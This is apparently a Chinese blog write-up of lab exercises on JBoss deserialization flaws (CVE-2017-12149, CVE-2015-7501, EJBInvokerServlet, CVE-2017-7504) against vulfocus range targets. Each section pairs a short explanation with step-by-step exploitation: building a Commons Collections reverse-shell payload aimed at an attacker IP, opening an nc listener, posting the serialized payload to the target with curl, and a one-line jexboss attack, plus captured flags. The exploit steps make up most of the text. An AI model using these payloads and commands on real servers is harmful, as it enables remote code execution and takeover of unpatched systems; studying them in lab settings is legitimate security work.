JBoss 漏洞研究 CVE-2017-12149 CVE-2015-7501 CVE-2017-7504

JBoss 漏洞研究

jboss 代码执行 (CVE-2017-12149)

影响范围

JBoss 5.x/6.x

漏洞原理

在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码

漏洞复现

图0

启动 https://vulfocus.cn/ 靶场环境

图1

访问 /invoker/readonly 如果返回500,说明此页面就可能存在反序列化漏洞。

图2

直接用CVE工具利用

图3

图4

靶场 flag-{bmh7cbffb27-ed9a-4c74-8929-0b6df905cc8a}

反弹shell的POC

下载工具后进入目录http://scan.javasec.cn/java/JavaDeserH2HC.zip

攻击机下载执行执行生成二进制payload文件:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

修改接收shell的IP和端口:

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:7777

图5

不要管报错

NC开启监听:

nc -vv -l -p 7777

向靶机发起攻击Payload:

curl http://123.58.224.8:26968/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

图6

反弹成功

图7

取得flag

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

影响版本

Red Hat JBoss A-MQ 6.x版本;
BPM Suite (BPMS) 6.x版本;
BRMS 6.x版本和5.x版本;
Data Grid (JDG) 6.x版本;
Data Virtualization (JDV) 6.x版本和5.x版本;
Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;
Fuse 6.x版本;
Fuse Service Works (FSW) 6.x版本;
Operations Network (JBoss ON) 3.x版本;
Portal 6.x版本;
SOA Platform (SOA-P) 5.x版本;
Web Server (JWS) 3.x版本;
Red Hat OpenShift/xPAAS 3.x版本;
Red Hat Subscription Asset Manager 1.3版本。

漏洞原理1

JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。

漏洞复现1

图8

如果嫩下载JMXInvokerServlet文件就存在漏洞。

git clone https://github.com/ianxtianxt/CVE-2015-7501/
cd CVE-2015-7501/
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:7777
nc -vv -l -p 7777
curl http://123.58.224.8:55153/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

图9

图10

_flag=flag-{bmh30a69994-5535-4de1-b53d-5c36c0d0498e}

JBoss EJBInvokerServlet 反序列化漏洞

跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径是

/invoker/EJBInvokerServlet

JBossMQJMS 反序列化漏洞(CVE-2017-7504)

影响版本2

JBoss <=4.x

漏洞原理2

JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞复现2

访问 /jbossmq-httpil/HTTPServerILServlet 返回This is the JBossMQ HTTP-IL,说明存在反序列化漏洞。

图13

利用工具:JavaDeserH2HC

https://github.com/joaomatosf/JavaDeserH2HC

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机:7777
nc -vv -l -p 7777
curl http://123.58.224.8:47973/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

图14

flag-{bmh93d53260-14f8-4405-91cd-f4221ef65f3f}

Jexboss 工具一键植入
python jexboss.py -u http://123.58.224.8:47973/

图11

图12

参考链接

  1. https://mp.weixin.qq.com/s/IVVftRRofmGQaE52m4SAyQ
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值